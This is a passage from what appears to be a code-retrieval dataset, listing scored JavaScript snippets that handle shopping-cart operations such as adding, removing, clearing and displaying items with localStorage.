document.createElement(\"img\");\n image.src = `${element.img}`;\n image.setAttribute(\"class\", \"card-img-top\");\n const productPrice = document.createElement(\"h5\");\n productPrice.setAttribute(\"class\", \"card-title\");\n productPrice.innerHTML = \"<small>$</small>\" + element.price;\n const productTitle = document.createElement(\"h5\");\n productTitle.setAttribute(\"class\", \"card-title\");\n productTitle.textContent = element.title;\n\n const productCount = document.createElement(\"div\");\n productCount.innerText = `Quantity: ${count}`;\n\n const productCard = document.createElement(\"div\");\n const productBody = document.createElement(\"div\");\n\n productCard.setAttribute(\"id\", \"product-card-cart\");\n productCard.setAttribute(\"class\", \"card col-3 product-card\");\n productBody.setAttribute(\"class\", \"card-body\");\n productCard.appendChild(image);\n productBody.appendChild(productPrice);\n productBody.appendChild(productTitle);\n productCard.appendChild(productBody);\n cartSide.appendChild(productCard);\n productCard.appendChild(clear);\n productCard.appendChild(productCount);\n });\n }\n}", "title": "" }, { "docid": "fad8a4b655ed03d37f7c3396b5db7ce8", "score": "0.66322494", "text": "function cubellEscombreriesJS(){\n\n var cartes_ma = document.getElementById('cartes-ma');\n var cartes = cartes_ma.querySelectorAll('div.carta');\n for(let i=0;i<cartes.length;i++){\n\n let carta = getCartaJS(cartes,i);\n let cubellButton = getButtonJS(carta,'fa-trash-alt');\n cubellButton.addEventListener('click',function(){carta.parentNode.removeChild(carta);})\n\n }\n\n}", "title": "" }, { "docid": "8e2806db8fc1116a6ab905bfd2394863", "score": "0.6631424", "text": "function emptyCart() {\n let btn = document.getElementById(\"emptyCart\")\n let cart = document.querySelector(\"ul\")\n let total = document.getElementById(\"total\")\n\n btn.addEventListener(\"click\", () => {\n cart.innerHTML = \"\"\n total.innerText = \"Total price:\"\n totalPurchased = 0\n })\n}", "title": "" }, { "docid": "3958b4dab83fa986cf862908e4fca98d", "score": "0.66117364", "text": "function ready() {\n\n // -- remove buttons --\n // This variable is an array that contains all buttons that has the class name 'danger-btn'\n var remove_cart_item_buttons = document.getElementsByClassName('danger-btn')\n console.log(remove_cart_item_buttons) // debugging purpose\n for (var i = 0; i < remove_cart_item_buttons.length; i += 1) {\n remove_cart_item_buttons[i].addEventListener('click', remove_cart_item)\n }\n\n // -- quantity input fields --\n var quantity_inputs = document.getElementsByClassName('cart-quantity-input')\n for (var i = 0; i < quantity_inputs.length; i += 1) {\n quantity_inputs[i].addEventListener('change', quantity_changed)\n }\n\n // -- Add to cart buttons --\n var add_to_cart_buttons = document.getElementsByClassName('add-to-cart-btn')\n for (var i = 0; i < add_to_cart_buttons.length; i += 1) {\n add_to_cart_buttons[i].addEventListener('click', add_to_cart_clicked)\n }\n\n // -- Purchase button --\n document.getElementsByClassName('purchase-btn')[0].addEventListener('click', purchased_clicked)\n\n\n}", "title": "" }, { "docid": "ab339a5418b32c19b0d6d89bb2f30fde", "score": "0.659799", "text": "function removeCartItem() {\n // remove from local storage...\n const itemName = event.target.parentNode.firstChild.textContent;\n for (let item of loadedCart) {\n if (item.name === itemName) {\n loadedCart.splice(loadedCart.indexOf(item), 1);\n window.localStorage.setItem(\"cart\", JSON.stringify(loadedCart));\n }\n // removes div from page\n event.target.parentNode.parentNode.remove();\n }\n // subtract from cartTotal\n cartTotal--;\n // If cartTotal = 0, display message\n checkCartTotal();\n window.location.reload();\n}", "title": "" }, { "docid": "4a9d04c92fb1036ea6570c5363d1e9f4", "score": "0.65557677", "text": "getCartButtons() {\n const cartButtons = [...document.querySelectorAll(\".bag-btn\")];\n buttonsDOM = cartButtons;\n\n cartButtons.forEach(function (button) {\n let cartId = button.dataset.id;\n let inCart = cart.find(function (item) {\n return item.id === cartId;\n });\n if (inCart) {\n button.innerText = \"in cart\";\n button.disabled = true;\n }\n button.addEventListener(\"click\", function (event) {\n event.target.innerText = \"in cart\";\n event.target.disabled = true;\n\n // get product from local storage\n let cartItem = { ...Storage.getProductsLocal(cartId), quantity: 1 };\n\n //add cartItem to the cart\n cart = [...cart, cartItem];\n // cart.push(cartItem);\n\n // add cart to local storage\n Storage.addCartLocal(cart);\n\n // calculate total num of cart items and cart total\n DisplayCart.getCartValues(cart);\n\n //to disply cart items\n DisplayCart.displayCartItems(cartItem);\n\n // to make cart visible\n DisplayCart.showCart();\n });\n });\n }", "title": "" }, { "docid": "75d071510fcc41be9ace42f110c554b3", "score": "0.65396833", "text": "function updateCart() {\n allCartItems.innerHTML = ''\n for (let i = 0; i < itemsInCart.length; i++) {\n let item = itemsInCart[i]\n\n allCartItems.innerHTML += `\n <div id=\"${item.watchId}\"class=\"item\">\n <img src=\"${item.watchImg}\"/>\n <div class=\"item-info\">\n <p>${item.watchName}</p>\n <p>${item.watchPrice}</p>\n <button>remove</button>\n </div>\n <div class=\"item-quantity\">\n <i class=\"fas fa-chevron-up\" id=\"increase-quantity\"></i>\n <p id=\"item-quantity\">${item.itemQuantity}</p>\n <i class=\"fas fa-chevron-down\" id=\"decrease-quantity\"></i>\n </div>\n </div>\n `\n }\n queryInCartProducts()\n calculateTotal()\n}", "title": "" }, { "docid": "f859cd48e1de45b6e718cec6a3dcf2af", "score": "0.6512467", "text": "function purchaseClicked() {\n alert('Thank you for your purchase')\n var cartItems = document.getElementsByClassName('cart-items')[0]\n while (cartItems.hasChildNodes()) {\n cartItems.removeChild(cartItems.firstChild)\n }\n updateCartTotal()\n}", "title": "" }, { "docid": "f859cd48e1de45b6e718cec6a3dcf2af", "score": "0.6512467", "text": "function purchaseClicked() {\n alert('Thank you for your purchase')\n var cartItems = document.getElementsByClassName('cart-items')[0]\n while (cartItems.hasChildNodes()) {\n cartItems.removeChild(cartItems.firstChild)\n }\n updateCartTotal()\n}", "title": "" }, { "docid": "bc33d75854e1f102498f4a7a3b1b89be", "score": "0.65079254", "text": "function delItemFromCart(){\n const delBtn = document.querySelectorAll(\"#btn-delete\");\n delBtn.forEach(element=>{\n element.addEventListener(\"click\",function(){\n element.parentElement.remove();\n // productCartCoun.textContent = document.querySelectorAll(\".table-data\").length;\n })\n }) \n\n}", "title": "" }, { "docid": "88bc88ac2266017a3331d01de3047752", "score": "0.6494994", "text": "function purchaseClick() {\n alert('Thank you for you purchase');\n var cartItems = document.getElementsByClassName('cart-items')[0]\n while (cartItems.hasChildNodes()) {\n cartItems.removeChild(cartItems.firstChild)\n }\n updateCartTotal()\n}", "title": "" }, { "docid": "a29f20e61bb76f826a70efe3729789a2", "score": "0.64936376", "text": "getCartButtons() {\n let cartButtons = [...document.querySelectorAll('.product-cart-btn')];\n buttonsDOM = cartButtons;\n cartButtons.forEach(cartButton => {\n let id = cartButton.dataset.id;\n let inCart = cart.find(item => item.id === id);\n // If the item is already in cart\n if (inCart) {\n cartButton.innerHTML = '<i class=\"fas fa-shopping-bag\"></i> In Cart';\n cartButton.disabled = true;\n }\n cartButton.addEventListener('click', (e) => {\n e.target.innerHTML = '<i class=\"fas fa-shopping-bag\"></i> In Cart';\n e.target.disabled = true;\n // Get product from products in LocalStorage and add another property in the object as amount\n let cartItem = {\n ...Storage.getProducts(id),\n amount: 1\n };\n // Add the item clicked in cart array\n cart.push(cartItem);\n // Save the cart now in localStorage\n Storage.saveCart(cart);\n // Set Cart Values\n this.setCartValues(cart);\n // Adding the cart Items in DOM\n this.addCartItem(cartItem);\n // Showing the cart from right side\n this.showCart();\n });\n });\n }", "title": "" }, { "docid": "0920cd931184c711d1d1ba8028d7971b", "score": "0.6470512", "text": "function removeItem(event)\n{\n var btn = event.target;\n var item = btn.parentElement.parentElement;\n item.remove();\n\n updateCart();\n}", "title": "" }, { "docid": "b061cdeffc76fe7208faf335b1969d88", "score": "0.64506215", "text": "function updateCart(cart){\n\t\tfor(item in cart){\n\t\t\t$('#added'+item).html(`\n\t\t\t<button class=\"btn text-success font-weight-bolder border minus\" id=${item}>-</button>${cart[item][\"qty\"]}\n\t\t\t<button class=\"btn text-success font-weight-bolder border plus\" id=${item}>+</button>\n\t\t\t`);\n\t\t\tif(cart[item][\"qty\"]==0){\n\t\t\t\tdelete cart[item];\n\t\t\t\t$('#added'+item).html(`\n\t\t\t\t<button class=\"btn border px-4 cart\" id=${item}>\n\t\t\t\t<span class=\"text-success font-weight-bolder\">ADD</span></button>\n\t\t\t\t`);\n\t\t\t}\n\t\t}\tsidebarCart(cart);\n\t\t\tlocalStorage.setItem(\"cart\",JSON.stringify(cart));\n\t}", "title": "" }, { "docid": "3cdcdd49116f461c3c00e210957942f7", "score": "0.64397824", "text": "function Delete(event)\n{\n\t var Id=event.target.id;\n\t Id=Id.substring(3,Id.length);\n\t /////////////Changing state of item in list////////////////////////////////\n var cname=document.getElementById('ulc'+Id).childNodes[1].innerHTML;\n for(var i=0;i<count;i++)\n\t{\n\t\tvar name=document.getElementById('ul'+i).childNodes[1].innerHTML;\n\t\tif(name==cname)\n\t\t{\n\t\t document.getElementById('idiv'+i).childNodes[4].value=\"Add To Cart\";\n\t\t document.getElementById('val'+i).value=\"1\";\n\t\t}\n\t}\t \n\t ////////updating ids of div/ul/button///////\t \n\tfor(var x=parseInt(Id)+1;x<cartCount;x++)\n\t{ \n\t var y=x-1;\t\n\t document.getElementById('del'+x).parentElement.id='cdiv'+y;\n\t document.getElementById('ulc'+x).childNodes[0].innerHTML=x;\n\t document.getElementById('ulc'+x).id='ulc'+y;\n\t document.getElementById('del'+x).id='del'+y;//delete button\n\t}\t\t\t\t\t\t\t\t\n ///////delete item from array////////\n\t for(var x=0;x<cartCount;x++)\n\t {\n\t if(x==Id)\n\t\t{\n\t\t while(x!=cartCount-1)\n\t\t { \n\t \tarr[x]=arr[x+1];\n\t\t\tarr[x].product[0]=parseInt(arr[x].product[0])-1;\n\t \tx++;\t\n\t\t } \n\t }\n\t }\t \t\n\t ////////////deleting the item from screen//////////////////////////////////\n\t event.target.parentElement.parentElement.removeChild(event.target.parentElement);\n\t cartCount--;\n}", "title": "" }, { "docid": "395828dc67aa8d2fa3b90f0767a07416", "score": "0.6427833", "text": "function clearCart() {\n // shoppingCartContent.innerHTML = '';\n\n while(shoppingCartContent.firstChild) {\n shoppingCartContent.removeChild(shoppingCartContent.firstChild);\n }\n\n // Clear from Local Storage\n clearLocalStorage();\n}", "title": "" }, { "docid": "ac8133c2994e375ef99267643085471c", "score": "0.64259803", "text": "function ready() {\n\n var removeCartItemButton = document.getElementsByClassName(\"btnDanger\")\n\n /*\n \"document.getElementsByClassName()\" gets all the elements of a certain class on a page\n\n \"var\" is variable in javaScript\n */ \n\n console.log(removeCartItemButton)\n // Logs/writes the \"removeCartItemButton\" in the page script\n\n for(var i = 0; i < removeCartItemButton.length; i++){\n var button = removeCartItemButton[i]\n\n button.addEventListener('click', removeCartItem)\n // \"button.addEventListener\" will detect if the button was clicked or not\n //Calls \"removeCartItem\" function\n } \n \n var quantityInput = document.getElementsByClassName(\"cartQuantityInput\")\n for (var i = 0; i < quantityInput.length; i++){\n var input = quantityInput[i]\n input.addEventListener(\"change\", quantityChanged)\n }\n\n var addToCartButtons = document.getElementsByClassName(\"shopItemButton\")\n for (var i = 0; i < addToCartButtons.length; i++) {\n var button = addToCartButtons[i]\n button.addEventListener(\"click\", addToCartClicked)\n }\n\n document.getElementsByClassName(\"btnPurchase\")[0].addEventListener(\"click\", purchaseClicked)\n}", "title": "" }, { "docid": "0f49db67b10b16b30d8e754c197074dd", "score": "0.6419612", "text": "function clearCartFun() {\n articleTab = [];\n displayCart();\n localStorage.removeItem('cart');\n}", "title": "" }, { "docid": "d15e09d2d63ac906d945984b7350b2ec", "score": "0.64124286", "text": "function clearCart() {\n // clear the cart\n myCart.clear();\n // remove all children of table body\n while (tableBody.firstElementChild) {\n tableBody.removeChild(tableBody.firstElementChild);\n }\n // reset the total quantity\n totalQty.innerHTML = 0;\n //reset the total price\n totalPrice.innerHTML = parseFloat((0).toFixed(2));\n}", "title": "" }, { "docid": "47021889ad643f3202d8523368fa7ce3", "score": "0.6409582", "text": "function displayCart() {\n for (let i = 0; i < cart_items.length; i++) {\n removeHandler = cart_items[i].name;\n chairsInCart(cart_items[i], 1, removeHandler);\n }\n}", "title": "" }, { "docid": "0165394f5fce4fe00f658256e98b5437", "score": "0.63945436", "text": "function clearCart() {\n\tconsole.log(\"Clearing cart\");\n\tthis.firebase = new Firebase(\"https://ellies-deli.firebaseio.com/users/\");\n\tthis.authData = this.firebase.getAuth();\n\tthis.cart = this.firebase.child(this.authData.uid+\"/cart/\");\n\t\n\tthis.cart.remove();\n\n\tshowCart();\t\n}", "title": "" }, { "docid": "831da01948f50e403a551bdfcc355eb5", "score": "0.63716435", "text": "function delStuff(e)\n{\n let indexItems = updateIndex(e)\n \n\n //delete the array item itself\n items.splice(indexItems, 1)\n \n //delete the display\n let li = e.target.parentElement;\n cart.removeChild(li);\n\n //delete the localStorage item itself\n localStorage.removeItem(\"Price: \" + indexItems)\n localStorage.removeItem(\"Name: \" + indexItems)\n\n //update the localStorage\n localStorage.clear()\n\n for(j = 0; items.length > j; j++)\n {\n localStorage.setItem(\"Price: \" + j, items[j].PriceOfItem)\n localStorage.setItem(\"Name: \" + j, items[j].NameOfItem)\n }\n\n //update the display\n clearPrevItem()\n\n connectDisplay = true;\n display()\n\n //then go to total function\n total()\n}", "title": "" }, { "docid": "5e85e40b78f1998c8ac283549f3532d1", "score": "0.6367152", "text": "function removeItem(index, bypass) {\n //remove one from the item's total, if there is more than one\n if (cartAmounts[index].innerHTML > 1) {\n //re-enable the cart button, if it is disabled\n cartItemsAddButtons[index].disabled = false;\n\n //take away one from the total amount\n cartAmounts[index].innerHTML--;\n\n //update the total price\n totalPrice -= cartItems[index].price;\n document.getElementById(\"totalPrice\").innerHTML = `Total: $${totalPrice.toFixed(2)}`;\n }\n //if there is only one, then remove the card.\n else {\n if (\n bypass === 1 ||\n confirm(\"Are you sure you want to remove this item from the cart?\")\n ) {\n //if it is a lunch item, remove that item from the lunch total, else remove it from the morning tea items.\n if (\n lunchWeek1.includes(cartItems[index]) ||\n lunchWeek2.includes(cartItems[index])\n ) {\n lunchItems--;\n } else {\n morningTeaItems--;\n }\n\n //update the total price\n totalPrice -= cartItems[index].price;\n document.getElementById(\"totalPrice\").innerHTML = `Total: $${totalPrice.toFixed(2)}`;\n\n //remove the card of the item being removed\n cartItemsToShow[index].parentNode.removeChild(cartItemsToShow[index]);\n\n //remove the item from all arrays\n cartItems.splice(index, 1);\n cartItemsToShow.splice(index, 1);\n cartPricesToShow.splice(index, 1);\n cartItemsRemoveButtons.splice(index, 1);\n cartAmounts.splice(index, 1);\n cartItemsAddButtons.splice(index, 1);\n\n //remove the item from the counter by the cart icon\n document.getElementById(\"cartNumber\").innerHTML--;\n\n //make all of the other remove button onclick events update, as the old values won't work anymore\n for (let i = 0; i < cartItemsRemoveButtons.length; i++) {\n cartItemsRemoveButtons[i].setAttribute(\"onclick\", `removeItem(${i})`);\n cartItemsAddButtons[i].setAttribute(\"onclick\", `addItem(${i})`);\n }\n\n //if there are no items in the cart, hide the total and the items cards\n if (cartItems.length < 1) {\n document.getElementById(\"total\").style = \"display: none\";\n document.getElementById(\"checkoutItems\").style = \"display: none\";\n }\n }\n }\n}", "title": "" }, { "docid": "d21eae46ca701d06fa802414dc1873ee", "score": "0.6345646", "text": "function cartFunction() {\n\n var addToCartBtn = document.getElementsByClassName(\"add-button-icon\");\n var cartTotalItems = document.getElementById(\"cart-item-number\");\n var cartPrice = document.getElementById(\"cart-price\");\n var cart = [];\n\n for (var i = 0, len = addToCartBtn.length; i < len; i++) {\n\n (function(index) {\n addToCartBtn[i].onclick = function() {\n var itemNames = document.getElementsByClassName(\"item-name\");\n var itemPrices = document.getElementsByClassName(\"price\");\n var itemImgs = document.getElementsByClassName(\"item-picture\");\n\n addItemToCart(itemNames[index], itemPrices[index], itemImgs[index], 1);\n displayCart();\n\n }\n })(i);\n\n }\n\n for (var i in addToCartBtn.length) {\n addToCartBtn[i].onclick = function() {\n addItemToCart(itemNames[addToCartBtn.indexOf(i)], itemPrices, itemImgs, 1);\n displayCart();\n };\n }\n\n function displayCart() {\n var cartArray = listCart();\n var output = \"\";\n for (var i in cartArray) {\n output += \"<h5 class=\\\"item-name\\\">\" + cartArray[i].name + \"</h5>\";\n }\n document.getElementById(\"cart-dropdown-menu-container\").innerHTML = output;\n }\n\n //Shopping cart functions\n var itemObj = function(name, price, image, count) {\n this.name = name;\n this.price = price;\n this.image = image;\n this.count = count;\n };\n\n // Adds item and properties to cart\n function addItemToCart(name, price, image, count) {\n\n for (var i in cart) {\n if (cart[i].name === name) {\n cart[i].count += count;\n return;\n }\n }\n var item = new itemObj(name, price, image, count);\n cart.push(item);\n saveCart();\n }\n\n // Removes one item\n function removeItemFromCart(name) {\n for (var i in cart) {\n if (cart[i].name === name) {\n cart[i].count--;\n if (cart[i].count <= 0) {\n cart.splice(i, 1);\n }\n break;\n }\n }\n saveCart();\n }\n\n //removes ALL of ONE item from cart\n function removeItemFromCartAll(name) {\n for (var i in cart) {\n if (cart[i].name === name) {\n cart.splice(i, 1);\n break;\n }\n }\n saveCart();\n }\n\n //remove EVERYTHING from cart\n function clearCart() {\n cart = [];\n saveCart();\n }\n\n // Count total number of items in cart\n function countCart() {\n totalCount = 0;\n for (var i in cart) {\n totalCount += cart[i].count;\n }\n return totalCount;\n }\n\n //counts total price of cart - totalCart() --> Returns total cost\n function totalCartCost() {\n totalCost = 0\n for (var i in cart) {\n totalCost += cart[i].price;\n }\n return totalCost\n }\n\n //Create's a copy of 'cart' to a new variable (function 'listCart()') to move this from project to projoect\n function listCart() {\n var cartCopy = [];\n for (var i in cart) {\n var item = cart[i];\n var itemCopy = {};\n for (var property in item) {\n itemCopy[property] = item[property];\n }\n cartCopy.push(itemCopy);\n }\n return cartCopy;\n }\n\n // Saves the cart to local storage\n // SAVE CART EVERTIME WE CHANGE CART\n function saveCart() {\n localStorage.setItem(\"shoppingCart\", JSON.stringify(cart)); //JSON converts cart from 'objects' IN list to a JSON 'string'\n }\n\n // GO TO: 'inspect' web page > under navigate where 'Console' is GO TO 'Application' > 'Storage' (Left Side Nav) > 'Local Storage'\n // Have stored the 'cart' list to the browser's local storage EX: localStorage.setItem(\"Username\", \"Cmillz_21\"); OR localStorage.setItem(\"Age\", \"21\");\n\n // Loads the saved 'cart' from local storage - User can leave and come back with items in cart - Also, saves cart when User moves from page to page\n function loadCart() {\n cart = JSON.parse(localStorage.getItem(\"shoppingCart\")); // Coverts from JSON 'string' to 'array' / 'list'\n }\n\n loadCart();\n\n var array = listCart();\n console.log(array);\n console.log(addToCartBtn);\n\n}", "title": "" }, { "docid": "a26f48c7879435ec8a79083644f67c0e", "score": "0.63263017", "text": "function setupCart() {\n\t\n// Step 4 A: variable addbutton with elements from class addbutton. Add the addItem(e) function onclick to each class = addButton element\t\nvar addButtons = document.getElementsByClassName(\"addButton\");\n\t\n// Step 4 B: Loop for all addButtons\nfor(var i = 0; i < addButtons.length; i++) {\n\t\n//event handler when that button is clicked\naddButtons[i].addEventListener(\"click\", addItem);\n}\n}", "title": "" }, { "docid": "09a2c8b92dbd022a5968e8927642f9d8", "score": "0.63256013", "text": "deleteCartItem(itemNumber, event) {\n // sending the data to Google Analytics on delete icon click\n if (typeof dataLayer !== 'undefined') {\n const analyticsObject = {\n code: this.productData.product.code,\n name: this.productData.product.name,\n quantity: this.productData.quantity,\n };\n this.analyticsService.trackRemoveFromCart(analyticsObject);\n }\n this.manageShoppingCartService.deleteCartItem(\n {},\n this.handleDeleteCartItemResponse,\n this.handleDeleteCartItemError,\n itemNumber,\n );\n this.$refs.spinner.showSpinner();\n // sending data to yMarketing on delete icon click\n const cartData = {\n cartCode: this.globals.getCartGuid(),\n productCode: this.productData.product.code,\n productName: this.productData.product.name,\n productPrice: this.productData.totalPrice.value,\n };\n this.yMarketing.trackRemoveFromCart(\n this.productData.product.code,\n this.productData.quantity,\n cartData,\n );\n }", "title": "" }, { "docid": "cad01fab49fca4cd29c3712fee1915a6", "score": "0.63235027", "text": "destroyOneCartProducts() {\n const destroyProductBtn = document.getElementsByClassName(\n \"destroy-product-button\"\n );\n let products = destroyProductBtn;\n for (let i = 0; i <= products.length; i++) {\n $(products[i]).on(\"click\", function () {\n // Obtenermos producto y lo eliminamos del localStorage\n let key = $(this).data(\"id\");\n let product = JSON.parse(localStorage.getItem(key));\n localStorage.removeItem(`${key}`);\n\n // Si eliminamos el ultimo producto limpiamos el localStorage(total, discount, current-shop)\n if(localStorage.length === 5 ){\n localStorage.clear();\n }\n\n // Limpiamos HTML del carrito\n destroyAllProductCart();\n destroytotalCart();\n\n const totalPage = document.getElementById(\"total-cart-page\");\n if (totalPage != null) {\n destroytotalCartPage();\n }\n\n const totalCheckout = document.getElementById(\"total-checkout-page\");\n if (totalCheckout != null) {\n destroytotalCheckoutPage();\n }\n\n // Actualizamos carrito\n updateAllProducts();\n\n // Notificamos\n let message = `Un producto ${product.name} fue eliminado del carrito.`;\n destroyCartNotification(message);\n\n // Actualizar pagina en 2.5s\n setInterval(\"location.reload()\", 2500);\n });\n }\n }", "title": "" }, { "docid": "6f6a564cc0703de809164072c894cd50", "score": "0.630965", "text": "function clearCart() {\n var cartTBodyEls = document.getElementById('cart').getElementsByTagName('tbody');\n for (var tBodyEl of cartTBodyEls) {\n while (tBodyEl.firstChild) {\n tBodyEl.removeChild(tBodyEl.firstChild);\n }\n }\n}", "title": "" }, { "docid": "e012cdebe3105fc4537d336d3aaacc85", "score": "0.6301675", "text": "function displayCart() {\n let currentCart = JSON.parse(localStorage.getItem(\"cart\"));\n let totalCost = 0;\n\n let cart = fromId(\"cart-items\");\n while (cart.firstChild) {\n cart.firstChild.remove();\n }\n\n if (currentCart) {\n currentCart.forEach((pair, index) => {\n let item = pair[1];\n\n let cartItem = createElem(\"div\");\n cartItem.classList.add(\"cart-item\");\n \n let title = createElem(\"h2\");\n title.textContent = item[\"name\"];\n\n let removeButton = createElem(\"button\");\n removeButton.textContent = \"Remove\";\n removeButton.addEventListener(\"click\", () => { removeFromCart(index); displayCart(); });\n\n let info = createElem(\"p\");\n info.textContent = \"Price: \" + item[\"price\"];\n\n let textContainer = createElem(\"div\");\n textContainer.appendChild(title);\n textContainer.appendChild(info);\n\n cartItem.appendChild(textContainer);\n cartItem.appendChild(removeButton);\n\n fromId(\"cart-items\").appendChild(cartItem);\n\n totalCost += parseInt(item[\"price\"]);\n });\n }\n\n fromId(\"total-cost\").textContent = \"Total: \" + totalCost.toString();\n\n openModal(\"cart-container\");\n}", "title": "" }, { "docid": "0bcbcb1d8eee0630b0233817c100899a", "score": "0.6296764", "text": "function shoppingList () {\r\n $('ul.dropShop').empty();\r\n $('ul.dropShop').append('<li><p> Items in your cart: </p></li>');\r\n $('ul.dropShop').append('<li class=\"divider\"></li>');\r\n for (var i = 0; i < cart.length; i++) {\r\n $('ul.dropShop').append(\"<li class='drop'>\" + shortenItem(cart[i]) + \"</a></li>\");\r\n }\r\n $('ul.dropShop').append('<li class=\"divider\"></li>');\r\n $('ul.dropShop').append('<li class=\"clear\"><p> <a href=\"#\" class=\"removeCart\">Clear</a> </p></li>');\r\n //function to clear the cart and restart the total to 0\r\n $('.removeCart').on('click', function () {\r\n cart = [];\r\n total = 0;\r\n $('.totalCart').html(total)\r\n shoppingList();\r\n})}", "title": "" }, { "docid": "8683b0743cbe6bac01a79d3d1567af50", "score": "0.62812996", "text": "function handleActionButtons(addToCartButtonDOM, product) {\r\n\taddToCartButtonDOM.innerText = 'In Cart';\r\n\taddToCartButtonDOM.disabled = true;\r\n\r\n\tconst cartItemsDOM = cartDOM.querySelectorAll('.cart__item');\r\n\tcartItemsDOM.forEach(cartItemDOM => {\r\n\t\tif (cartItemDOM.querySelector('.cart__item__name').innerText === product.name) {\r\n\t\t\tcartItemDOM.querySelector('[data-action=\"INCREASE_ITEM\"]').addEventListener('click', () => increaseItem(product, cartItemDOM));\r\n\t\t\tcartItemDOM\r\n\t\t\t\t.querySelector('[data-action=\"DECREASE_ITEM\"]')\r\n\t\t\t\t.addEventListener('click', () => decreaseItem(product, cartItemDOM, addToCartButtonDOM));\r\n\t\t\tcartItemDOM.querySelector('[data-action=\"REMOVE_ITEM\"]').addEventListener('click', () => removeItem(product, cartItemDOM, addToCartButtonDOM));\r\n\t\t}\r\n\t});\r\n}", "title": "" }, { "docid": "02be405b04c3e5c3b2460cedbc71d12b", "score": "0.6274422", "text": "function ready()\n{\n // Accessing the remove btns\n var removeBtn = document.querySelectorAll('.remove-btn');\n for(let i=0; i<removeBtn.length; i++)\n {\n var btn = removeBtn[i];\n btn.addEventListener('click',removeItem);\n }\n\n // Update the bill when quantity is changed\n var quantityBox = document.querySelectorAll('.quantity');\n for(let i=0; i<quantityBox.length; i++)\n {\n var quantity = quantityBox[i];\n quantity.addEventListener('change',quantityChanged);\n }\n\n // Accessing the add to cart buttons\n var addBtn = document.querySelectorAll('.cart');\n for(let i=0; i<addBtn.length; i++)\n {\n var btn = addBtn[i];\n btn.addEventListener('click',addItem);\n }\n\n updateCart();\n // grandTotal();\n}", "title": "" }, { "docid": "7149a8aa5998af67cc0c5c9cce6c19d1", "score": "0.62657386", "text": "function deleteItem(){\r\n let productNames = document.getElementsByClassName(\"product\");\r\n let deleteBtns = document.getElementsByClassName(\"deletebtn\");\r\n\r\n let productNum = localStorage.getItem(\"cartNum\")\r\n let cartItems = JSON.parse(localStorage.getItem(\"productsInCart\"));\r\n let subTotal = parseFloat(localStorage.getItem(\"subTotal\"));\r\n\r\n for (let i = 0;i<productNames.length;i++)\r\n {\r\n deleteBtns[i].onclick = function() {\r\n let item = productNames[i].textContent.trim();\r\n productNum = parseInt(productNum) - parseInt(cartItems[item].inCart);\r\n localStorage.setItem(\"cartNum\",productNum);\r\n let subtractTotal = parseInt(cartItems[item].inCart) * parseFloat(cartItems[item].price);\r\n subTotal = subTotal - subtractTotal;\r\n calculateTotal(subTotal);\r\n console.log(cartItems[item])\r\n delete cartItems[item];\r\n localStorage.setItem(\"productsInCart\",JSON.stringify(cartItems));\r\n displayCart();\r\n setCartNum()\r\n } \r\n \r\n }\r\n \r\n \r\n}", "title": "" }, { "docid": "7edcfe943640cb8f9ead422b1dbd93dc", "score": "0.6257862", "text": "function cartBoxValueChanged() {\r\n // When clicked on quantity [+/-] buttons or deleted an item\r\n document.querySelectorAll('.count-btn-minus, .count-btn-plus, .cart-item-del').forEach(el => {\r\n el.addEventListener('click', function () {\r\n updateCartBoxTotal();\r\n })\r\n })\r\n // When manually input a number in the quantity field\r\n document.querySelectorAll('.count-field').forEach(el => {\r\n el.addEventListener('change', function () {\r\n updateCartBoxTotal();\r\n })\r\n })\r\n}", "title": "" }, { "docid": "1a1a4560bb8653faecf5f4630e160cf8", "score": "0.6250447", "text": "function clearCart() {\n localStorage.setItem('cartNumbers', 0);\n document.querySelector('.add-cart span').textContent = '(' + 0 + ')';\n document.querySelector('.navbar span').textContent = '(' + 0 + ')';\n localStorage.clear()\n}", "title": "" }, { "docid": "b52afe4eb2b60a43bada9edcebf1e231", "score": "0.62493545", "text": "function cartEvents(e) {\n e.preventDefault();\n if (e.target.classList[2] === 'delete') {\n deleteProductCart(e);\n }\n\n if (e.target.classList[0] === 'sum') {\n modifyAmountOfProduct(e, '+');\n }\n\n if (e.target.classList[0] === 'subs') {\n modifyAmountOfProduct(e, '-');\n }\n\n}", "title": "" }, { "docid": "1677e9db0cdf0ec5887fb599815057d0", "score": "0.62482566", "text": "function removeItemsFromCart() {\n /* Creating a variable to store all of the 'ion-icon'elements within the div that has the\n class name of 'chosenProduct'. */\n let removeButtons = document.querySelectorAll(\".removeOption\");\n /* Creating an empty variable */\n let nameOfSelectedproduct;\n /* Getting the initial amount of products that we have oin local storage. */\n let amountOfProducts = localStorage.getItem(\"itemsInCart\");\n /* setting a variable to contain the local storage value with the key of 'productsInCart'. */\n let itemsInCart = localStorage.getItem(\"productsInCart\");\n /* Converting the itemsInCart variable from a string to a JavaScript object. */\n itemsInCart = JSON.parse(itemsInCart);\n /* Setting a variable to be equal to the value in local storage that is assigned to the 'totalCostofItems' key. */\n let cost = localStorage.getItem(\"totalCostofItems\");\n\n /* Creating a for loop to loop through all of the elements within the 'removeButtons' variable\n and add a click event to each element. */\n for (let i = 0; i < removeButtons.length; i++) {\n removeButtons[i].addEventListener(\"click\", () => {\n /* Setting the nameOfSelectedproduct variable to the specific delete option that the user has selected and extracting \n the content from the parentElement and am using the trim() method to remove whitespace from both sides of the string\n and am converting the output received to be all lowercase. */\n nameOfSelectedproduct = removeButtons[i].parentElement.textContent\n .trim()\n .toLocaleLowerCase()\n /* Using regex (Regular Expressions) to search globally for spaces and to then remove the spaces. */\n .replace(/ /g, \"\");\n\n /* Setting localstorage with the key of 'itemsInCart' to be equal to the amountOfProducts variable minus the \n amount of items there are of that product in the cart. */\n localStorage.setItem(\n \"itemsInCart\",\n amountOfProducts - itemsInCart[nameOfSelectedproduct].productIsInCart\n );\n\n /* Setting localstorage with the key of 'totalCostofItems' to be equal to the 'cost' variable minus price of the product multiplied by the quantity. */\n localStorage.setItem(\n \"totalCostofItems\",\n cost -\n itemsInCart[nameOfSelectedproduct].productPrice *\n itemsInCart[nameOfSelectedproduct].productIsInCart\n );\n\n /* Removing the product name from the itemsInCart variable which stores it in local storage and then I am updating the \n local storage and am converting from a JavaScript object to a string. */\n delete itemsInCart[nameOfSelectedproduct];\n localStorage.setItem(\"productsInCart\", JSON.stringify(itemsInCart));\n\n /* Calling the displayItemsInCart and checkCartItems functions. */\n displayItemsInCart();\n checkCartItems();\n });\n }\n}", "title": "" }, { "docid": "4b40a5d3b430f0e84a38512982725acd", "score": "0.6246643", "text": "function clearCart() {\n\t\tsetLocalStorage([]);\n\t\treturn setCart([]);\n\t}", "title": "" }, { "docid": 